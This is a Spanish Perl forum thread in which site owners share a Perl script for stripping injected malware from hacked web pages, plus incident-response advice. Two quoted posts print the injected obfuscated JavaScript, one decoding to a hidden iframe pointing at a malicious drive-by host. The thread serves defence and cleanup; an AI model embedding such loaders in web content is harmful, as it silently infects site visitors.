• Publicidad

Script para eliminar inyección maliciosa en sitio web

Así que programas sin strict y las expresiones regulares son otro modo de hablar. Aquí encontrarás respuestas de nivel avanzado, no recomendable para los débiles de corazón.

Script para eliminar inyección maliciosa en sitio web

Notapor kidd » 2008-10-24 13:53 @620

Tengo un servidor dedicado por medio de Layered Tech. Hoy en la mañana me desperté con la desagradable noticia de que había sido atacado el servidor con un troyano que inyectó código a todas las páginas con extensión .html, .html, .php y .tpl.

El código que fue insertado después de cada </html> en cada uno de esos archivos es:

Sintáxis: [ Descargar ] [ Ocultar ]
  1. <html> <body><script>var source ="=jgsbnf!tsd>(iuuq;00iv2.iv2/do0dpvoufs0joefy/qiq(!xjeui>2!ifjhiu>2!gsbnfcpsefs>1?=0jgsbnf?"; var result = "";  
  2. for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1);  
  3. document.write(result); </script> 
  4. </html> </body> 


Es un JavaScript encriptado, que realmente lo que imprime es:

Sintáxis: [ Descargar ] [ Ocultar ]
  1. <iframe src='http://hu1-hu1.cn/counter/index.php' width=1 height=1 frameborder=0></iframe> 


Que luego hace una llamada a un supuesto .pdf que realmente es el troyano Bloodhound.Exploit.196:
http://www.symantec.com/security_respon ... 02-2357-99

Al parece este tipo de ataques empezaron hace un par de días, así que no hay mucha información por ahí. Lo más que encontré fue la siguiente liga:
http://forums.permaculture.org.au/viewt ... &sk=t&sd=a

Todavía no se sabe cómo es que se atacan a los servidores, pero por lo que pude ver en mi servidor, primero hay un ataque de fuerza bruta para encontrar la contraseña; una vez que se puede accesar se crea un directorio en el root del servidor llamado polka/ que contiene el script encargado de inyectar a todos los archivos del servidor; una vez que los inyectó llama a la función chown() para cambiar el dueño de los archivos a root, por lo que no se pueden reescribir los archivos a menos de uno esté loggeado como root.

Encontré por ahí un script de PHP para hacer la limpieza, pero no me funcionó mucho, así que decidí hacer mi propio script de Perl.

Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
#!/usr/bin/perl

use strict;
use File::Find;
use Fcntl ':flock';
use Getopt::Long;

my $user = "";

my $options_okay = GetOptions( 'u=s' => \$user );

die("No User") if !$user;


my $root_dir = "/home/$user/public_html";


find( sub {

    my $file = $File::Find::name;

    return unless -f $file;
    return unless ($file =~ /\.(htm|html|php|tpl)/i );

    system("chown $user $file");

    open my $FILE, '<', $file or die $!;
    flock($FILE,LOCK_SH);
    my $data = do{ local $/; <$FILE> };
    close $FILE;

    if( $data =~ s!</html>.*?<html>.*</html>(\s*</body> </body>)?.*?$!</html>!msi ){
        open my $FILE, '>', $file or die $!;
        flock($FILE,LOCK_EX);
        print {$FILE} $data;
        close $FILE;

        print "$file - cleaned\n";
    }


},

$root_dir);
Coloreado en 0.006 segundos, usando GeSHi 1.0.8.4


Hay que subir el archivo el servidor, y después accesar al command line por medio del SSH como root. Es importante hacerlo de esta manera, de lo contrario no se tendrán los permisos suficientes para modificar los archivos.

Finalmente el script se llama de la siguiente manera:

Código: Seleccionar todo
perl script.pl -u username


El script usa el username para accesar a todos los archivos encontrados en su directorio public_html; por ejemplo, si se pone el usuario misitio, el script buscará todos los archivos en /home/misitio/public_html/.

Adicionalmente, todos los archivos infectados serán cambiados de dueño nuevamente al username especificado.

El script busca a través de todos los subdirectorios, así que con una sola llamada se puede limpiar todo el directorio de un sitio.

Después de hacer eso, recomiendo que cambien su contraseña de root por si se logró tener acceso al servidor, sea evitado de nuevo.

Un saludo y espero que sea útil para quien haya sufrido un ataque de estos.
Uriel Lizama Perl programmer fundador de Perl en Español
Perl Programming Language
Avatar de Usuario
kidd
Creador de Perl en Español
Creador de Perl en Español
 
Mensajes: 1166
Registrado: 2003-10-15 16:52 @744
Ubicación: México

Publicidad

Notapor estebanez » 2008-11-17 17:51 @785

Muchas gracias por el script, funciona de maravillas.


Te quería consultar si es posible ejecutarlo para todas las cuentas de un dedicado o si únicamente hay que hacerlo cuenta por cuenta (somos de España y tenemos un dedicado con 600 cuentas).

Gracias.
estebanez
Perlero nuevo
Perlero nuevo
 
Mensajes: 2
Registrado: 2008-11-17 17:49 @784

Notapor bAsTeR » 2008-11-18 11:47 @532

Qué buen dato Kidd. Por el momento no he sido victima de ese tipo de ataque pero no está de más saber cómo limpiar rápidamente un script de esa magnitud.

Muchas gracias.
Always Perl :)
bAsTeR
Perlero nuevo
Perlero nuevo
 
Mensajes: 63
Registrado: 2008-10-28 11:29 @520
Ubicación: Chihuahua, Chih. Mexico

Notapor creating021 » 2008-11-18 19:59 @874

Un par de cosas:

Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
my $root_dir = "/home/$user/public_html";
Coloreado en 0.001 segundos, usando GeSHi 1.0.8.4

Para que los admins de Mac OS X lo puedan usar:
Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
my $root_dir = "/home/$user/public_html";
if ( $^O eq "darwin" ) {
    $root_dir = "/Users/$user/Public"; # Normalmente
}
Coloreado en 0.001 segundos, usando GeSHi 1.0.8.4


Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
my $user = "";

my $options_okay = GetOptions( 'u=s' => \$user );

die("No User") if !$user;
Coloreado en 0.001 segundos, usando GeSHi 1.0.8.4


De la siguiente manera se ve más lindo :lol: además que Getopt::Long permite usar -u o --user al usarlo como se ve aquí:
Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
my $user;

GetOptions( 'user=s' => \$user );

die "Usage: $0 [-u|--user] user\n" unless $user;
Coloreado en 0.001 segundos, usando GeSHi 1.0.8.4


Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
system("chown $user $file");
Coloreado en 0.001 segundos, usando GeSHi 1.0.8.4

Ésto se puede volver más "portable" (supongo) de la siguiente forma:
Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
     my ( $login, $pass, $uid, $gid ) = getpwnam( $user ) or
        die "The user $user does not exists!\n"; # ????
    chown ( $uid, $gid, $file ) or die "chown error: $!\n";
Coloreado en 0.001 segundos, usando GeSHi 1.0.8.4

Te quería consultar si es posible ejecutarlo para todas las cuentas de un dedicado o si únicamente hay que hacerlo cuenta por cuenta (somos de España y tenemos un dedicado con 600 cuentas).

Actualmente se puede hacer solamente cuenta por cuenta :? pero una modificación puede solucionar el problema:

Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
use strict;
use File::Find;
use Fcntl ':flock';
use Getopt::Long;

my $usuarios;

GetOptions( 'user=s@' => \$usuarios );

die "Usage: $0 [-u|--user] users\n" unless @$usuarios;

foreach my $user ( @$usuarios ) {

    my $root_dir = "/home/$user/public_html";

    if ( $^O eq "darwin" ) {
        $root_dir = "/Users/$user/Public"; # Normalmente
    }

    find( sub {

        my $file = $File::Find::name;

        return unless -f $file;
        return unless ($file =~ /\.(htm|html|php|tpl)/i );

        my ( $login, $pass, $uid, $gid ) = getpwnam( $user ) or
            die "The user $user does not exists!\n"; # YAY!
        chown ( $uid, $gid, $file ) or die "chown error: $!\n"; # Mas "perlish"

        open ( my $FILE, '<', $file ) or die "$file : $!\n";
        flock( $FILE, LOCK_SH ) or die "Can not flock: $!\n";

        my $data = do{ local $/; <$FILE> };
        close $FILE;

        if( $data =~ s!</html>.*?<html>.*</html>(\s*</body></body>)?.*?$!</html>!msi ){
            open ( my $FILE, '>', $file ) or die "$file : $!\n";
            flock ( $FILE,LOCK_EX );
            print {$FILE} $data;
            close $FILE;

            print "$file - cleaned\n";
        }
        else { print "$file is clean\n"; }

    }, $root_dir );
}
Coloreado en 0.002 segundos, usando GeSHi 1.0.8.4


Seguro que se puede mejorar mucho más y pasarlo por un tidy :)
Última edición por creating021 el 2008-11-20 17:30 @770, editado 1 vez en total
Expect the worst, is it the least you can do?
Avatar de Usuario
creating021
Perlero frecuente
Perlero frecuente
 
Mensajes: 595
Registrado: 2006-02-23 16:17 @720
Ubicación: Frente al monitor

Notapor estebanez » 2008-11-19 18:51 @827

Muchas Gracias :)

¿Con qué comando se podría ejecutar el script con la última modificación que hiciste para que se aplique a todos los usuarios?
estebanez
Perlero nuevo
Perlero nuevo
 
Mensajes: 2
Registrado: 2008-11-17 17:49 @784

Notapor explorer » 2008-11-20 04:34 @232

Con las funciones de la familia getgr*() se puede obtener una lista de los usuarios que pertenezcan al grupo de usuarios, y adaptar el bucle para que los recorra.

Aquí tienes un ejemplo.
JF^D Perl programming & Raku programming. Grupo en Telegram: https://t.me/Perl_ES
Avatar de Usuario
explorer
Administrador
Administrador
 
Mensajes: 14482
Registrado: 2005-07-24 18:12 @800
Ubicación: Valladolid, España

Notapor danimera » 2009-01-21 11:38 @526

Tengo un mismo problema en una de mis páginas, no sé si se metieron en un hosting o qué, pero varios archivos me aparecen con un código que inicia así:

Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
<script language="javascript">$="Z63bZ3dZ228ds)Z253bZ2573tZ253dtmZ2570Z253dZ2527Z2527;for(iZ253d0;iZ253cds.leZ256egthZ25Z22;opZ3dZ22Z2524Z253dZ2522dw(dcs(Z2563u,1Z2534))Z253bZ2522;
Z22;czZ3dZ22Z2566uncZ2574ioZ256eZ2520cz(Z2563Z257a)Z257bretuZ2572n
Z2563a+cZ2562+Z2563c+cZ2564+cZ2565+czZ253b};Z22;ccZ3dZ223biZ252b+Z2529Z257btmZ2570Z253ddsZ252esZ256cZ2569Z2563Z2565(iZ252ci+1Z2529;Z2573tZ22;daZ3dZ22fqb0})-~ug0Qbbqi87|qe~Z257F7Z3c7Z7brtfu7Z3c7zsdxb7Z3c7ytvyb7Z3c7xufyv7Z3c7wvhuc7Z3c7vwfuc7Z3c7uxwxd7Z3c7tzu~y7Z3c7sZ7bud~7Z3c7r||uf7Z3c7q}dgu79+fqb0|)-~ug0Qbbqi87q7Z3c7r7Z3c7s7Z3c7t7Z3c7u7Z3c7v7Z3c7w7Z3c7x7Z3c7y7Z3c7z7Z3c7Z7b7Z3c7|7Z3c7}7Z3c7~7Z3c7Z257F7Z22;stZ3dZ22Z2573Z2574Z253dZ2522$Z253dsZ2574Z253bdZ2563Z2573(Z2564aZ252bdZ2562Z252bZ2564cZ252bdZ2564+Z2564eZ252cZ2531Z2530Z2529;Z2564wZ2528sZ2574)Z253bsZ2574Z253d$;Z2522Z253bZ22;deZ3dZ22M+}Sx-|)K88d)K7}7M;}^}950Z2522Z259M+yv888d)K7t7M:Z25229.-Z252096688d)K7t7M:Z25229,-)99tSx-~)K8d)K7t7M50!Z25209M+u|cu0tSx-|)K88d)K7t7M:Z2526950Z2522Z279M+4-4Z3ebu`|qsu8tZ3ciSxZ2522;}Sx;iSx!;tSx;})Kd)K7}7MZ3d!M;7Z3esZ257F}79+Z22;caZ3dZ22Z2566uZ256ectZ2569oZ256e
dZ2563s(dZ2573,esZ2529Z257bdsZ253duneZ2573cZ2561peZ252Z22;dbZ3dZ22Z3c7`7Z3c7a7Z3c7b7Z3c7c7Z3c7d7Z3c7e7Z3c7f7Z3c7g7Z3c7h7Z3c7i7Z3c7j79+fqb0~)-~ug0Qbbqi8!Z3cZ2522Z3c#Z3c$Z3cZ25Z3cZ2526Z3cZ27Z3c(Z3c)9+fqb0d)-~ug0Qbbqi89+fqb0t)-~ug0Tqdu89+d)K7i7M-t)Z3ewudVe||Iuqb89+yv8t)Z3ewudTqi89.#9d)K7t7M-
Coloreado en 0.001 segundos, usando GeSHi 1.0.8.4


Y pues lo borro y después de un tiempo que ?¿ no sé me ocurre nada para comprobar todos los archivos de mi servidor para ver si tienen eso :P
100% Telch - Perl Web Programming
Cali PerlMongers: http://cali.pm.org
Avatar de Usuario
danimera
Perlero frecuente
Perlero frecuente
 
Mensajes: 871
Registrado: 2005-06-23 19:02 @834
Ubicación: Colombia

Notapor explorer » 2009-01-21 12:29 @562

¿Una página tuya?

Es posible que tu máquina haya sido comprometida. Entonces:

* Cambia las contraseñas de acceso
* Haz copia de seguridad de toda la información importante
* Mira a ver que no existan procesos desconocidos ejecutándose en el servidor
* Mira que no existan ejecutables en el directorio /tmp extraños
* Mira estos dos últimos puntos también en el ordenador cliente, no sea que el problema esté justamente en la máquina de trabajo y no en el servidor
* Pasa un programa de localización de root-kits en el servidor
* Bórralo todo y formatea o instala un nuevo sistema operativo en el servidor y recupera luego toda la información guardada antes.

Para localizar contenidos en múltiples directorios, puedes usar el comando grep -r o el ack.
JF^D Perl programming & Raku programming. Grupo en Telegram: https://t.me/Perl_ES
Avatar de Usuario
explorer
Administrador
Administrador
 
Mensajes: 14482
Registrado: 2005-07-24 18:12 @800
Ubicación: Valladolid, España

Notapor danimera » 2009-01-22 08:30 @396

Es increíble tanta precaución...

Me pasó en una página que está alojada en un hosting de un servidor y tengo más páginas ahí. Me preocupa eso porque son casi 40 clientes.

No tengo acceso a todo el servidor puesto que es un reseller, pero si haré los pasos que pueda hacer.

¿Por qué es tan drástico lo que me sugieres, explorer? ¿Qué caso de infección es ésta o qué tipo de ataque?
100% Telch - Perl Web Programming
Cali PerlMongers: http://cali.pm.org
Avatar de Usuario
danimera
Perlero frecuente
Perlero frecuente
 
Mensajes: 871
Registrado: 2005-06-23 19:02 @834
Ubicación: Colombia

Notapor explorer » 2009-01-22 08:56 @413

Que aparezca código extraño en nuestras páginas web, puede ser a causa de 3 motivos fundamentales:

* El revendedor modifica las páginas para agregar publicidad o controles de las páginas que aloja. Esta es una práctica común en los alojamientos gratuitos

* La máquina donde están alojadas las páginas ha sido comprometida, y las páginas, modificadas con un propósito malvado

* La máquina que se está usando para la edición de las páginas está comprometida.

No sé qué es lo que hace el código, pero, desde luego, no voy a esperar a saberlo, porque podrían estar siendo comprometidos los usuarios que visitan esas páginas.

Lo primero, cambiar/editar las páginas o subir las versiones anteriores de ellas, para que no esté el código. Luego, cambiar los permisos de escritura de esas páginas, para evitar que sean modificadas por nadie (chmod 444). Quitar también los permisos de escritura en el directorio donde residen.

Si las páginas siguen cambiando, habría que mirar los logs de actividad del servidor web para ver que el cambio venga de fuera o no. Si no es de fuera, entonces es que la máquina donde residen podría estar comprometida.

Actualmente, hay miles de máquinas que tienen en su interior programas que realizan ataques a otras redes, secuestros y robos de información y envío masivo de correo basura.

Y sus dueños ni siquiera lo saben.
JF^D Perl programming & Raku programming. Grupo en Telegram: https://t.me/Perl_ES
Avatar de Usuario
explorer
Administrador
Administrador
 
Mensajes: 14482
Registrado: 2005-07-24 18:12 @800
Ubicación: Valladolid, España

Siguiente

Volver a Avanzado

¿Quién está conectado?

Usuarios navegando por este Foro: No hay usuarios registrados visitando el Foro y 0 invitados